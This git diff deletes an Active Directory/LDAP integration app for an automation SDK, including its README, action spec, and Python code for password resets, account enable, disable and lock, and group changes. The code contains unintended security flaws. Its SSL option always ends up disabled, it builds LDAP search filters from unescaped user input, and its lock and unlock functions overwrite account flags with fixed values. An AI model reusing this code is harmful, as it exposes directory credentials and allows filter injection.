diff --git a/active-directory/1.0.0/README.md b/active-directory/1.0.0/README.md deleted file mode 100644 index e99000f2..00000000 --- a/active-directory/1.0.0/README.md +++ /dev/null @@ -1,42 +0,0 @@ -# Active Directory -Active Directory is used all over the world for different reasons. This app helps you explore and control those users. It's based on an LDAP connection. - -## Authentication -* server: The IP or hostname to connect to -* port: The port to connect to. Default: 389 -* domain: Your CORP domain. Used to login properly together with your login_user -* login_user: Your username. DONT add CORP\\ in front -* password: The password of the user logging in. -* base_dn: The base DN found by running `Get-ADDomain` in powershell, then getting the value of the field "UsersContainer". Should NOT contain spaces. example: `OU=Users,DC=icplahd,DC=com` -* use_ssl: Whether to use SSL to connect to the default port. - -* search_base: Usually same as base_dn - -## Base DN -Finding the Base DN can be done by going to a Windows server in the domain. - -1. Open Powershell -2. Run -``` -Get-ADDomain -``` -3. Find the response from "UsersContainer" and use this for Base DN and Search Base - -## Typical issues -- InvalidCredentials: This happens when the credentials are wrong. See #authentication to understand if your format for your username/password is correct. - -## Features -get user attributes -- done -reset password -- done -change password at next logon -- done -enable/disable user -- done - - -## Upcoming Features -add/remove users to group -- dev -get group attributes -- dev -get group members -- dev -get system attributes -- dev -set system attributes -- dev -change computer OU -- dev -Connect to LDAPs using certificates and TLS diff --git a/active-directory/1.0.0/api.yaml b/active-directory/1.0.0/api.yaml deleted file mode 100644 index 187ed2eb..00000000 --- a/active-directory/1.0.0/api.yaml +++ /dev/null @@ -1,307 +0,0 @@ -app_version: 1.0.0 -name: Active Directory -description: Active Directory and LDAP/LDAPS. For full usage of the action configure using LDAPS. -contact_info: - name: "@d4rkw0lv3s" - url: https://github.com/D4rkw0lv3s - email: d4rkw0lv3s@outlook.pt -tags: - - activedirectory - - ldap - - ldaps - - Azure AD -categories: - - IAM - - assets -authentication: - required: true - parameters: - - name: server - description: "Server fqdn or ip address." - example: "server-1.mycompany.com or 127.0.0.1" - required: true - schema: - type: string - - name: port - description: "Server port." - required: true - example: "389" - schema: - type: string - - name: domain - description: "Domain to BIND to AD/LDAP with. Should JUST be the NetBIOSName from Get-Addomain" - example: "ICPLAHD" - required: true - schema: - type: string - - name: login_user - description: "Username to BIND to AD/LDAP with" - example: "binduser" - required: true - schema: - type: string - - name: password - description: "Password to BIND with." - example: "Password1IsBad!" - required: true - schema: - type: string - - name: base_dn - description: "Search Base DN" - example: "OU=Users,DC=icplahd,DC=com" - required: true - schema: - type: string - - name: use_ssl - description: "Use SSL Connection Security" - required: true - example: "True" - options: - - "true" - - "false" - schema: - type: string -actions: - - name: user_attributes - description: Query AD for details about a specified user - parameters: - - name: samaccountname - description: user to query - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=mycompany,DC=com" - schema: - type: string - returns: - schema: - type: string - - name: set_password - description: Set password for given user - parameters: - - name: samaccountname - description: user to query - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: new_password - description: user new password - required: true - multiline: false - example: 'Password1IsBad!' - schema: - type: string - - name: repeat_password - description: repeat the new password - required: true - multiline: false - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=mycompany,DC=com" - schema: - type: string - returns: - schema: - type: string - - name: change_password_at_next_logon - description: Force user to change password at next logon - parameters: - - name: samaccountname - description: user to query - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=mycompany,DC=com" - schema: - type: string - returns: - schema: - type: string - - name: enable_user - description: Enable User account - parameters: - - name: samaccountname - description: user to query - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=mycompany,DC=com" - schema: - type: string - returns: - schema: - type: string - - name: disable_user - description: Disable User account - parameters: - - name: samaccountname - description: user to query - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=icplahd,DC=com" - schema: - type: string - returns: - schema: - type: string - - name: lock_user - description: Lock User account - parameters: - - name: samaccountname - description: user to lock - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=icplahd,DC=com" - schema: - type: string - returns: - schema: - type: string - - name: unlock_user - description: Unlock User account - parameters: - - name: samaccountname - description: user to unlock - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=icplahd,DC=com" - schema: - type: string - returns: - schema: - type: string - - name: change_user_password_at_next_login - description: Set given password for user at next login - parameters: - - name: samaccountname - description: user to change password for - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=icplahd,DC=com" - schema: - type: string - - name: new_user_password - description: "New password you want to set" - required: true - multiline: false - example: "***" - schema: - type: string - - name: repeat_new_user_password - description: "Repeat new password you want to set" - required: true - multiline: false - example: "***" - schema: - type: string - returns: - schema: - type: string - - name: add_user_to_group - description: Add user to group - parameters: - - name: samaccountname - description: user to change password for - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=icplahd,DC=com" - schema: - type: string - - name: group_name - description: "Group you want to add user to" - required: true - multiline: false - example: "Group name" - schema: - type: string - returns: - schema: - type: string - - name: remove_user_from_group - description: Remove user from group - parameters: - - name: samaccountname - description: user to change password for - required: true - multiline: false - example: 'user01' - schema: - type: string - - name: search_base - description: "If empty it will use the base_dn." - required: false - multiline: false - example: "OU=Users,DC=icplahd,DC=com" - schema: - type: string - - name: group_name - description: "Group you want to remove user from" - required: true - multiline: false - example: "Group name" - schema: - type: string - returns: - schema: - type: string - -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK4AAACuCAYAAACvDDbuAAAAAXNSR0IArs4c6QAAD6lJREFUeF7tnXmQFOUZh3+zO8fOzF5ccoioiIBcsRRQNOKREFAQAaNRMJRXhWi0Ek2iKWMlUVJWqlQ0sSxMJcGT0qLCciqKKBAUFTwW5FpYVFxYEISdY+eenk71zA47O85Ib3/b2927v/kHavd7v+/t533m7W96ZnptsizL4IMELEbARnEtVjGmmyZAcSmCJQlQXEuWjUlTXDpgSQIU15JlY9IUlw5YkgDFtWTZmDTFpQOWJEBxLVk2Jk1x6YAlCVBcS5aNSVNcOmBJAhTXkmVj0hSXDliSAMW1ZNmYNMWlA5YkQHEtWTYmTXHpgCUJUFxLlo1JU1w6YEkCFNeSZWPSFJcOWJIAxbVk2Zg0xaUDliRAcS1ZNiZNcemAJQlQXEuWjUlTXDpgSQIU15JlY9IUt5s4EEsBC+rC2B0CXhrrsfxRU1zLl7D1ABoiKaw7mkREkvHsvgh2hQofnDyr2vJHTXEtVsLGSAqBpIz3j8Uxb1sMkoa7G1NcixXdSukqQv5xRwjPf51EPAX4EzI0OFrwkCmulUwwWa7RaBSNkgN/3RNLd9CPjydwINo5SVLczuFs6VU2Ho1hWxD42h/Bcw1ASDL+cCiu8TUwXQbu5T5EU6ZLq01CFNfc9enw7NY0xnBHbRTNSSAqyUjIwMPDyzB/RNnJtcqW+6BcejLzg+KauToacvu4ScLf6iKIpICdvqSqPWe+uOy4GsBrCOlWl8PqgxJWHVFepctYfSSJ944nNSBrG8KOK4xQ0wRdSlxfQsbeoIS4JOGZ+hiWHNb/nM2Oq8k74aAuI66txicMQ8sE7LhaqInHUFxBhuy4ggA1hlNcjeCyYey4ggA1hlNcjeCKicurCoJAVYZTXJWgig1jxxUEqDGc4moEx62CIDjBcIorCJAvzgQBagynuBrBseMKghMMp7iCANlxBQFqDKe4GsGx4wqCEwynuIIA2XEFAWoMp7gawbHjCoITDKe4ggDZcQUBagynuBrBseMKghMMp7iCANlxBQFqDKe4GsEV7bjLmhCTbYKz6hvOr+7oy7dds5vl87j8kE27yqZ5MDuuZnSZQH7IRhCgxnCKqxFcsa0CO64gUJXhFFclqGLD2HEFAWoMp7gawbHjCoITDKe4ggDZcQUBagynuBrBFb0cxjvZCBJVF05x1XEqOoodVxCgxnCKqxEc97iC4ATDu4y4Rt1ozm4DSnPeKFNuwtxRN2AWrG3RcFeJXjN33rxdRtzOQ8aVzECA4pqhCsyh3QQobruRMcAMBLqMuI5lxtz07qFhZXgk58bORuXRHpkSM/nnotrDS9exZvl0mFF5tAcuP9bYHlo6jzVKmPzruEbl0R68FLc9tHQea5QwFFfnwhaZvsvscSmueoHYcdWz0n0kxVWPmOKqZ6X7SIqrHjHFVc9K95EUVz1iiquele4jKa56xBRXPSvdR1Jc9YgprnpWuo+kuOoRU1z1rHQfSXHVI6a46lnpPpLiqkdMcdWz0n0kxVWPmOKqZ6X7SIqrHjHFVc9K95EUVz1iiquele4jKa56xBRXPSvdR1Jc9YgprnpWuo+kuOoRU1z1rHQfSXHVI6a46lnpPpLiqkdMcdWz0n0kxVWPmOKqZ6X7SIqrHjHFVc9K95EUVz1iiquele4jKa56xBRXPSvdR5av8CMkdf7t5vK/5VtS4zP9Te8oru46al8gnJSxtUlCsyRjw9EEnt4fR1IHr/PFtS/zwYDnT7tAUdx24TLX4IZgHK80pnAiKqE2IOOdY0lNnTJfXOUWTHo8QTqSHsXtSJomm2ubX8LvtofQLNlwKJJCQ6Rwu84X17nMh4QOnb0j8VDcjqRpkbmUbYDi5crDCfx8awj3n1uG+Tk3vSvj34DolEp2mTvZdAotFYvs9idwOG5DSgZu3hLCt3HztV92XBWF5JBWArGUjBcOxHEkKqPWl8TKI8m04J39oLidTbyLr7f5SAiPfQGEJRm7/UkcietzwBRXH66ctQABWZYxf3cM8+ui6d9m99paYFFcLdQY06EEjkUl7A/LaE6k8MDnYXwWOPX0FPfUjDjCQAKJZBJrv5WxI5DCwVACL3ydRLMEUFwDi8KluzcBXg7r3vW37NFTXMuWrnsnTnG7d/0te/QU17Kl696JU9zuXX/LHj3FtWzpunfiFLd719+yR29acYe84Uf9NVUYstKPPdOrYAdQF5BwZnkp6kMpnOO2IWWzwQ4ZjlIbokkZss2GpV9GMWOgE7VhGRN7llq2MEz8+wmYVtznD8QxprcDA2wy+nhK0NSUQJ8eDuwISBhVWYoVhxOob05hXWMC/72sHO8dS2JrUxKTqkpwUX8njktAL3rbZf03tbgrvoph4ThvWly7DJz1VgCrL/GmxZ25uRmDK0qx5lACj4314t91EYyutmNGz4y4Z6wJoOHqyi5buO5+YKYVt7sXhsdv0a0CC0cC30eAHZd+WJIAxbVk2Zg0xaUDliTQ7cRVvqx465lOQ4p1LJzCrqiMy3l9WZi/JcTt/7ofR2IyDlxbhUEOm+qDrvVJOL+69WLuYV8CA94N6fINgEI33Xvz0nJM7qu8dZJ5jF4XSH8bQa9vIOwJSBjkLYGnVD0j1TBNNtD84sqAbZkPk3uWonelHa9c4FaNUJEpX5J4CnCWqJ5C9UBlrY0TKzCxd2n6FkxNEQmnvRnEDYNdWHJ+a87Klxz18krJYdGlFbitb9d/58X04u75No7z/hfG55d4MHpzuGC32vhNAo/vj+N0Twn+2SLJ4oY4btkaxivjPGn55pyR2R5c90EIKyZ44WtO4p49cbwyNvP77GPa5lD6TY7s477aMPaFZUzu58C9g4tvMXLFzcbubEpi1Prmkzm/3xjH2mYZjwx1pYfM/iiEReO9+NfeKNaekLBqQuu6d20JoSEJTOrrwK/PyVtXljHtg3B6jpfHedDDYUP2eH8xtAwTq0owppcDoz2tnVc5LuVx4yAH5g5snW/t11Ek3Hac77Fh3rYoXhvvwdyPw3h5vBfenCf4grooenvsmHtG6xlE9bNah4GmF1cRYvUVFZjasxTK/2unVOEHOQW5ZmMQa45LeHCoC182p7D0SBLJGVX46YchLG1M4PoBjkyBx3vhLkF6jmwXzu/IL+6L4tbPo21+f+MZTowuL8Gz+2JIOktwbEpFwTIUElcZqPz8ugFOLL/Yg5+tC2JJWIY8PfOOXlmNDxN621HXnMIQjw3vXF4BZSekxNw52IUBTmBxQwIuhw07r8qs+8ahBKZ+FMJvh7rSn994fG8MJ2ZU444tmeO9sJcdZ7lsaeHnne3Eq1/FMfvTMO471wWnDfhHfQxOVwl8Le8qXrMmAFdvO5Y3xNPjbxrixp2bAriknxMv5ZzdlJx2XV2F89zm2IaYWtyEJMO5wo/YzOo09KnvBlAv2VA3KVPEQFRC1RtBxGdWpwue/yi0Vcj9mXe5D9MHuvDq2Myp/KK1fozs7cSiC9wYuCaAclcJ9lxVfnJaJbZxejX6F2g6xcQ9Z6UPo/s4sHyCt6C4PdwlOJzz1vT1HzTjuGzDhpyur8wtzaqG0gCdNT48PNKNPw3LdO3cR6GtgvKzF8d5MLfljJN9Mr14aQXm9i2FIu6aSNt996t7I5i9I3byCfxNIIF+6/R5baC1GZta3OcPxPDQrtjJwm5qjGPih2GkZlVD8XTBvhge2BVF8rqqol0wf4+bK+6vaiNY+EUsPV+2oNm5y5f78PfzPZjZ0rGV3w9c7cfdI9x4YnhhabJ73Nxk+tX4cHH/4uIuHO/FbQMzZ4VsDnef58b8nO1Br9V+PHNJBe7plznrZHM8lbjBhIzKVf7vbK+Grvbhh/2dWHShJyNu0gb52rZnEmWd6KxqKEc6ZVMQI3o6sGBkmVbPOjzO1OIq8Jx2G4Z7Wjdb2wMSNk+uwgSvDU/ui2H+3hh8Uwt/mOZUHTcriiL3+gNRXPVJ6zZB6WwPDi/DlX3attehlaUY6Ppue/++rcIvh7mxcKSrYMctJO6cwWW4/fS2647tZUdl3lbnVOKeiMtQpM9/8k5cF8CQHvbvFXfue0HsTACfXFmRfrJ8c20VTmvHFZ0ONzX/7CIr9/Yx4UNKpmBfGcD6y1pP1Uqaf/g0hI9CcroY/9kfw53bIkUvL6kR113jw48GubDtaDx9Cp7Xco23zyo/Hhrlxn1nq7vmW0jcxV/GcMtnrfkV2uPmi9tvpQ/XD3Lh2ZwrEfnbgbeurMRPenz30kj+ViEmyShb4UfjtCr0V/ZaLQ97jQ/3DnPjqZGuoh1394kERmwIIT61As7Xg7pdwtOqnmk77twtIbzZlMLRyW1PYfuCEoa+HUTzjOr0q16lWC9f7MUtAxz4JpJCvzWBNi+utv64AhdWlqa3FrkdNgts6cE45nwSgVLk5KxqZC8kPbczjLvq4tg3pRJDWjr+pm+TuKx34VfVSh6Lx3kxtkcpTsRSWN8Qx0NfxLH4Ii9mn57ZCqgR99FdUfx5TxT1UypxTsu6G44lcUVL5x/3dgA7ozIC06pgtwF3fdiMeWO86asCSg5VHjt8U8pxMCpjYJkNfVf5YXOV4NCkivRluNfqI7h5e+v+tdhWIctK+fepsV78ZlDrdkarbB0ZZ1pxlSLcP8qDJ4d+t+OV1vjw2gQvbujvwBdBCee+HURKeQUP4NExbjw8JLMHve/TEJ7+KpH+f2BGNSqKnGqVtUpsgDQzs9fNPu7cEsKig4mTt9hXREnkjcmOLV3mOxmn5KGMjc5oO99N7wSxJCQjlXNV4bnxXtyas8dVJnl0exh/qY8XXTf370zk5hSVZHhW+NNxyt685uLM5bXc2/sr8iovdrNP0Kkte9xU3h5XiXt+Rwi3700gNLMaORdyOtI/zXOZVlzNR8TADiPwxLYQfr8/YbptQvpsYNY9bofR50SaCShnotevqMQ1PXV4q1FzVplAiisIsKuG+8MS5tRG0+8y6vUWtQg7iitCj7GGEaC4hqHnwiIEKK4IPcYaRoDiGoaeC4sQoLgi9BhrGAGKaxh6LixCgOKK0GOsYQQormHoubAIAYorQo+xhhGguIah58IiBCiuCD3GGkaA4hqGnguLEKC4IvQYaxgBimsYei4sQoDiitBjrGEEKK5h6LmwCAGKK0KPsYYRoLiGoefCIgQorgg9xhpGgOIahp4LixCguCL0GGsYAYprGHouLEKA4orQY6xhBCiuYei5sAgBiitCj7GGEaC4hqHnwiIEKK4IPcYaRoDiGoaeC4sQoLgi9BhrGAGKaxh6LixCgOKK0GOsYQQormHoubAIAYorQo+xhhGguIah58IiBCiuCD3GGkaA4hqGnguLEKC4IvQYaxgBimsYei4sQuD/UVLFb/ZiRHAAAAAASUVORK5CYII= diff --git a/active-directory/1.0.0/requirements.txt b/active-directory/1.0.0/requirements.txt deleted file mode 100644 index 5238833e..00000000 --- a/active-directory/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -ldap3==2.9.1 -requests==2.25.1 diff --git a/active-directory/1.0.0/src/app.py b/active-directory/1.0.0/src/app.py deleted file mode 100644 index 3157dfdc..00000000 --- a/active-directory/1.0.0/src/app.py +++ /dev/null @@ -1,483 +0,0 @@ -import json -import ldap3 -import asyncio -from ldap3 import ( - Server, - Connection, - MODIFY_REPLACE, - ALL_ATTRIBUTES, -) -from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups -from ldap3.extend.microsoft.removeMembersFromGroups import ad_remove_members_from_groups as removeUsersFromGroups - -from walkoff_app_sdk.app_base import AppBase - -class ActiveDirectory(AppBase): - __version__ = "1.0.1" - app_name = "Active Directory" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def __ldap_connection(self, server, port, domain, login_user, password, use_ssl): - use_SSL = False if use_ssl.lower() == "false" else False - login_dn = domain + "\\" + login_user - - s = Server(server, port=int(port), use_ssl=use_SSL) - c = Connection(s, user=login_dn, password=password, auto_bind=True) - - return c - - # Decode UserAccountControl code - def __getUserAccountControlAttributes(self, input_code): - userAccountControlFlags = { - 16777216: "TRUSTED_TO_AUTH_FOR_DELEGATION", - 8388608: "PASSWORD_EXPIRED", - 4194304: "DONT_REQ_PREAUTH", - 2097152: "USE_DES_KEY_ONLY", - 1048576: "NOT_DELEGATED", - 524288: "TRUSTED_FOR_DELEGATION", - 262144: "SMARTCARD_REQUIRED", - 131072: "MNS_LOGON_ACCOUNT", - 65536: "DONT_EXPIRE_PASSWORD", - 8192: "SERVER_TRUST_ACCOUNT", - 4096: "WORKSTATION_TRUST_ACCOUNT", - 2048: "INTERDOMAIN_TRUST_ACCOUNT", - 512: "NORMAL_ACCOUNT", - 256: "TEMP_DUPLICATED_ACCOUNT", - 128: "ENCRYPTED_TEXT_PWD_ALLOWED", - 64: "PASSWD_CANT_CHANGE", - 32: "PASSWD_NOTREQD", - 16: "LOCKOUT", - 8: "HOMEDIR_REQUIRED", - 2: "ACCOUNTDISABLED", - 1: "SCRIPT", - } - lists = [] - attributes = {} - while input_code > 0: - for flag, flagName in userAccountControlFlags.items(): - temp = input_code - flag - if temp > 0: - attributes[userAccountControlFlags[flag]] = flag - input_code = temp - if temp == 0: - try: - if userAccountControlFlags[input_code]: - attributes[userAccountControlFlags[input_code]] = input_code - except KeyError: - pass - input_code = temp - for key, val in attributes.items(): - lists.append(key) - return lists - - # Encode UserAccountControl attributes - def __getUserAccountControlCode(self, input_attributes): - userAccountControlFlags = { - "TRUSTED_TO_AUTH_FOR_DELEGATION": 16777216, - "PASSWORD_EXPIRED": 8388608, - "DONT_REQ_PREAUTH": 4194304, - "USE_DES_KEY_ONLY": 2097152, - "NOT_DELEGATED": 1048576, - "TRUSTED_FOR_DELEGATION": 524288, - "SMARTCARD_REQUIRED": 262144, - "MNS_LOGON_ACCOUNT": 131072, - "DONT_EXPIRE_PASSWORD": 65536, - "SERVER_TRUST_ACCOUNT": 8192, - "WORKSTATION_TRUST_ACCOUNT": 4096, - "INTERDOMAIN_TRUST_ACCOUNT": 2048, - "NORMAL_ACCOUNT": 512, - "TEMP_DUPLICATED_ACCOUNT": 256, - "ENCRYPTED_TEXT_PWD_ALLOWED": 128, - "PASSWD_CANT_CHANGE": 64, - "PASSWD_NOTREQD": 32, - "LOCKOUT": 16, - "HOMEDIR_REQUIRED": 8, - "ACCOUNTDISABLED": 2, - "SCRIPT": 1, - } - code = 0 - for attribute in input_attributes: - code += userAccountControlFlags[attribute] - - return code - - # Get User Attributes - def user_attributes( - self, - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, - ): - if search_base: - base_dn = search_base - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - try: - c.search( - search_base=base_dn, - search_filter=f"(samAccountName={samaccountname})", - attributes=ALL_ATTRIBUTES, - ) - - result = json.loads(c.response_to_json()) - if len(result["entries"]) == 0: - return json.dumps({ - "success": False, - "result": result, - "reason": "No user found for %s" % samaccountname, - }) - - except Exception as e: - return json.dumps({ - "success": False, - "reason": "Failed to get users in user attributes: %s" % e, - }) - - - result = result["entries"][0] - result["attributes"]["userAccountControl"] = self.__getUserAccountControlAttributes(result["attributes"]["userAccountControl"]) - - return json.dumps(result) - - # Change User Password - def set_password( - self, - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - new_password, - repeat_password, - search_base, - ): - if search_base: - base_dn = search_base - - if new_password != repeat_password: - return "Password does not match!" - else: - c = self.__ldap_connection( - server, port, domain, login_user, password, use_ssl - ) - - result = json.loads( self.user_attributes( server, port, domain, login_user, password, base_dn, use_ssl, samaccountname, search_base,)) - - user_dn = result["dn"] - c.extend.microsoft.modify_password(user_dn, new_password) - - return json.dumps(c.result) - - # Change User Password at Next Logon - def change_password_at_next_logon( - self, - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, - ): - if search_base: - base_dn = search_base - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - result = json.loads( - self.user_attributes( - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, - ) - ) - userAccountControl = result["attributes"]["userAccountControl"] - - if "DONT_EXPIRE_PASSWORD" in userAccountControl: - return "Error: Flag DONT_EXPIRE_PASSWORD is set." - else: - user_dn = result["dn"] - password_expire = {"pwdLastSet": (MODIFY_REPLACE, [0])} - c.modify(dn=user_dn, changes=password_expire) - c.result["samAccountName"] = samaccountname - - return json.dumps(c.result) - - # Enable User - def enable_user( - self, - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, - ): - - if search_base: - base_dn = search_base - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - result = json.loads( - self.user_attributes( - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, - ) - ) - - userAccountControl = result["attributes"]["userAccountControl"] - - if "ACCOUNTDISABLED" in userAccountControl: - userAccountControl.remove("ACCOUNTDISABLED") - userAccountControl_code = self.__getUserAccountControlCode( - userAccountControl - ) - new_userAccountControl = { - "userAccountControl": (MODIFY_REPLACE, userAccountControl_code) - } - user_dn = result["dn"] - c.modify(dn=user_dn, changes=new_userAccountControl) - c.result["samAccountName"] = samaccountname - - return json.dumps(c.result) - else: - result = {} - result["samAccountName"] = samaccountname - result["status"] = "success" - result["description"] = "Account already enable" - - return json.dumps(result) - - # Disable User - def disable_user( - self, - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, - ): - - if search_base: - base_dn = search_base - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - result = json.loads( - self.user_attributes( - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, - ) - ) - - try: - userAccountControl = result["attributes"]["userAccountControl"] - except Exception as e: - return { - "success": False, - "reason": "Failed to get result attributes: %s" % e, - } - - - if "ACCOUNTDISABLED" in userAccountControl: - try: - result = {} - result["samAccountName"] = samaccountname - result["status"] = "success" - result["description"] = "Account already disable" - result["success"] = True - - return json.dumps(result) - except Exception as e: - return { - "success": False, - "reason": "Failed to send baseresult in disable user: %s" % e, - } - else: - try: - userAccountControl.append("ACCOUNTDISABLED") - userAccountControl_code = self.__getUserAccountControlCode( - userAccountControl - ) - new_userAccountControl = { - "userAccountControl": (MODIFY_REPLACE, userAccountControl_code) - } - user_dn = result["dn"] - c.modify(dn=user_dn, changes=new_userAccountControl) - c.result["samAccountName"] = samaccountname - - return json.dumps(c.result) - except Exception as e: - return { - "success": False, - "reason": "Failed adding ACCOUNTDISABLED to user: %s" % e, - } - - def lock_user(self,server,domain,port,login_user,password,base_dn,use_ssl,samaccountname,search_base): - - if search_base: - base_dn = search_base - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - c.search(base_dn, f"(SAMAccountName={samaccountname})") - - if len(c.entries) == 0: - return {"success":"false","message":f"User {samaccountname} not found"} - - user_dn = c.entries[0].entry_dn - - c.modify(user_dn, {'userAccountControl':[(MODIFY_REPLACE,[514])]}) - - result = c.result - result["success"] = True - - return result - - def unlock_user(self,server,domain,port,login_user,password,base_dn,use_ssl,samaccountname,search_base): - - if search_base: - base_dn = search_base - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - c.search(base_dn, f"(SAMAccountName={samaccountname})") - - if len(c.entries) == 0: - return {"success":"false","message":f"User {samaccountname} not found"} - - user_dn = c.entries[0].entry_dn - - c.modify(user_dn, {'userAccountControl':[(MODIFY_REPLACE,[0])]}) - - result = c.result - result["success"] = True - - return result - - def change_user_password_at_next_login(self,server,domain,port,login_user,password,base_dn,use_ssl,samaccountname,search_base,new_user_password,repeat_new_user_password): - - if search_base: - base_dn = search_base - - if str(new_user_password) != str(repeat_new_user_password): - return {"success":"false","message":"new_user_password and repeat_new_user_password does not match."} - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - c.search(base_dn, f"(SAMAccountName={samaccountname})") - - if len(c.entries) == 0: - return {"success":"false","message":f"User {samaccountname} not found"} - - user_dn = c.entries[0].entry_dn - - c.modify(user_dn, {'pwdLastSet':(MODIFY_REPLACE, [0])}) - c.extend.microsoft.modify_password(user_dn, new_user_password.encode('utf-16-le')) - - result = c.result - result["success"] = True - - return result - - def add_user_to_group(self, server, domain, port, login_user, password, base_dn, use_ssl, samaccountname, search_base, group_name): - - if search_base: - base_dn = search_base - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - c.search(base_dn, f"(SAMAccountName={samaccountname})") - if len(c.entries) == 0: - return {"success":"false","message":f"User {samaccountname} not found"} - user_dn = c.entries[0].entry_dn - - search_filter = f'(&(objectClass=group)(cn={group_name}))' - c.search(base_dn, search_filter, attributes=["distinguishedName"]) - if len(c.entries) == 0: - return {"success":"false","message":f"Group {group_name} not found"} - group_dn = c.entries[0]["distinguishedName"] - print(group_dn) - - res = addUsersInGroups(c, user_dn, str(group_dn),fix=True) - if res == True: - return {"success":"true","message":f"User {samaccountname} was added to group {group_name}"} - else: - return {"success":"false","message":f"Could not add user to group"} - - def remove_user_from_group(self, server, domain, port, login_user, password, base_dn, use_ssl, samaccountname, search_base, group_name): - - if search_base: - base_dn = search_base - - c = self.__ldap_connection(server, port, domain, login_user, password, use_ssl) - - c.search(base_dn, f"(SAMAccountName={samaccountname})") - if len(c.entries) == 0: - return {"success":"false","message":f"User {samaccountname} not found"} - user_dn = c.entries[0].entry_dn - - search_filter = f'(&(objectClass=group)(cn={group_name}))' - c.search(base_dn, search_filter, attributes=["distinguishedName"]) - if len(c.entries) == 0: - return {"success":"false","message":f"Group {group_name} not found"} - group_dn = c.entries[0]["distinguishedName"] - print(group_dn) - - res = removeUsersFromGroups(c, user_dn, str(group_dn),fix=True) - if res == True: - return {"success":"true","message":f"User {samaccountname} was removed from group {group_name}"} - else: - return {"success":"false","message":f"Could not remove user to group"} - - -if __name__ == "__main__": - ActiveDirectory.run() diff --git a/active-directory/1.0.0/src/sample.py b/active-directory/1.0.0/src/sample.py deleted file mode 100644 index 0f4c778c..00000000 --- a/active-directory/1.0.0/src/sample.py +++ /dev/null @@ -1,197 +0,0 @@ -#!/usr/bin/env python3 -import json -import ldap3 -import asyncio -from ldap3 import ( - Server, - Connection, - MODIFY_REPLACE, - ALL_ATTRIBUTES, -) -def __ldap_connection( server, port, domain, login_user, password, use_ssl): - use_SSL = False if use_ssl.lower() == "false" else False - login_dn = domain + "\\" + login_user - - s = Server(server, port=int(port), use_ssl=use_SSL) - c = Connection(s, user=login_dn, password=password, auto_bind=True) - - return c - -def __getUserAccountControlCode(input_attributes): - userAccountControlFlags = { - "TRUSTED_TO_AUTH_FOR_DELEGATION": 16777216, - "PASSWORD_EXPIRED": 8388608, - "DONT_REQ_PREAUTH": 4194304, - "USE_DES_KEY_ONLY": 2097152, - "NOT_DELEGATED": 1048576, - "TRUSTED_FOR_DELEGATION": 524288, - "SMARTCARD_REQUIRED": 262144, - "MNS_LOGON_ACCOUNT": 131072, - "DONT_EXPIRE_PASSWORD": 65536, - "SERVER_TRUST_ACCOUNT": 8192, - "WORKSTATION_TRUST_ACCOUNT": 4096, - "INTERDOMAIN_TRUST_ACCOUNT": 2048, - "NORMAL_ACCOUNT": 512, - "TEMP_DUPLICATED_ACCOUNT": 256, - "ENCRYPTED_TEXT_PWD_ALLOWED": 128, - "PASSWD_CANT_CHANGE": 64, - "PASSWD_NOTREQD": 32, - "LOCKOUT": 16, - "HOMEDIR_REQUIRED": 8, - "ACCOUNTDISABLED": 2, - "SCRIPT": 1, - } - code = 0 - for attribute in input_attributes: - code += userAccountControlFlags[attribute] - - return code - - -# Decode UserAccountControl code -def __getUserAccountControlAttributes(input_code): - userAccountControlFlags = { - 16777216: "TRUSTED_TO_AUTH_FOR_DELEGATION", - 8388608: "PASSWORD_EXPIRED", - 4194304: "DONT_REQ_PREAUTH", - 2097152: "USE_DES_KEY_ONLY", - 1048576: "NOT_DELEGATED", - 524288: "TRUSTED_FOR_DELEGATION", - 262144: "SMARTCARD_REQUIRED", - 131072: "MNS_LOGON_ACCOUNT", - 65536: "DONT_EXPIRE_PASSWORD", - 8192: "SERVER_TRUST_ACCOUNT", - 4096: 